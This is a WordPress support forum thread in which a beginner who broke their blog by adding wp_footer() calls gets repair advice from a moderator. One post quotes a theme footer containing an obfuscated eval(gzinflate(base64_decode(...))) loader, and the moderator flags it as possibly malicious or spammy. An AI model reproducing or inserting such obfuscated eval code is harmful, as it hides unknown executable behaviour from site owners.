WordPress.org

Ready to get started?Download WordPress

Forums

Cannot access blog (6 posts)

  1. thawts
    Member
    Posted 4 years ago #

    HELP!!!!!!!!!!!!!!!!!! I am an absolute beginner and have completely messed up my blog. This is what I did. I loaded the wordpress.com stats as a plug-in which loaded but didn't count the visits. I then read that I must add <?php wp_footer(); ?> I did this on the functions.php, footer.php, main index.php and maybe under a number of other places. Somehow it started counting the visits but I cannot get in my site (except from my other blog and then I am limited purely to the stats counter. Everytime I tried to delete what I had added and update I received this message: Warning: Cannot modify header information - headers already sent by (output started at /home/thawtsc/public_html/wp-content/themes/sleek-black/functions.php:8) in /home/thawtsc/public_html/wp-includes/pluggable.php on line 865
    I get the same message now when I try to log in to my blog

  2. esmi
    Forum Moderator
    Posted 4 years ago #

    I then read that I must add <?php wp_footer(); ?> I did this on the functions.php, footer.php, main index.php and maybe under a number of other places.

    FTP into your site and download a copy of your current theme. Go through all of the files and get rid of every added reference to <?php wp_footer(); ?> in all files except footer.php. In that file, place the code just before the </body> tag.

    Then re-upload the amended theme.

  3. thawts
    Member
    Posted 4 years ago #

    Thanks! I added this question as well under the plug-in section so please ignore if you see the post there.

    I really am a beginner which is why I messed up so badly. How do I FTP? Please can you give step by step instructions.
    Also when I went into the footer.php there was no </body> tag so thats why I just added it at the end.

    Thanks (hope my ignorance isn't a pain)

  4. esmi
    Forum Moderator
    Posted 4 years ago #

    If you don't know how to use FTP, can you login to your site's Admin at all?

    Also when I went into the footer.php there was no </body> tag so thats why I just added it at the end.

    In that case, the theme was either already damaged or it calls another file within footer.php. All pages must end with </body></html>.

  5. thawts
    Member
    Posted 4 years ago #

    I cannot login into Admin.

    I made copies of all the contents before I messed up. This is what was in the footer.php

    <?php eval(gzinflate(base64_decode('XczBCgIhFIXhfU9xmX26D3OgeYFZBK1Nb+OAeuUqST192RBB23P4v1GrrGdqyOjg9IALscuMpcAezh4jwsx0X932KgOe8XYcfK35IGVrTZhonmta2jesvSrCUhz0T/tYShr9dv8VS4GSDWiSuAZaeGunvsLU54LcUyWzVmP2efcC'))); ?>

    Thks

  6. esmi
    Forum Moderator
    Posted 4 years ago #

    Ack! One of those nasty little themes. I'd recommend that you change themes. There's always the concern that themes that use this kind of encryption have something malicious or spammy in them. But if you decide that you do want to stick with this theme - despite these concerns - you could try decrypting the footer using the link below and replacing the encrypted code with the plain decrypted markup.

    http://www.tareeinternet.com/scripts/decrypt.php

Topic Closed

This topic has been closed to new replies.

About this Topic